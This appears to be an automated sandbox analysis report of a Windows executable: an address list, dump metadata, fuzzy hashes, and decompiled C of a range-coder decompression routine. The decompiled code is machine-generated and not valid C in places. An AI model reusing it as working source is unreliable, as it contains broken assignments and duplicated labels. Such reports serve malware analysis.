0x00405f16
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1b
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f38
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f7e
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406626
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x0040665c
0x00406663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406665
0x00406665
0x00406669
0x00406818
0x00000000
0x00406818
0x00406675
0x0040667c
0x00406684
0x00406684
0x00406684
0x00406687
0x0040668a
0x0040668a
0x00000000
0x00000000
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00000000
0x00406035
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406018
0x00000000
0x00406018
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00000000
0x00406247
0x0040624b
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00000000
0x00000000
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00000000
0x00000000
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
0x00406373
0x00406376
0x00406380
0x00000000
0x00406380
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00000000
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00406614
0x00406614
0x00000000
0x00406614
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00406690
0x00406690
0x00000000
0x00406690
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x0040682e
0x00406834
0x00406836
0x0040683d
0x00000000
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 797fef13bb3e8e171cff3cae9b41bd7abdeca14a353df9249488f574514014e3
Instruction ID: 0ba87498709856dc17a0c5f751d6ecfe3ae25d7b1153355424f504aba8ac83cf
Opcode Fuzzy Hash: 797fef13bb3e8e171cff3cae9b41bd7abdeca14a353df9249488f574514014e3
Instruction Fuzzy Hash: B4817772D04229CBDF24CFA8C8447AEBBB0FB44305F25816AD856BB2C0D7785A86DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406247, Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406247() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M0040684B))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4));
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8)); // executed
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
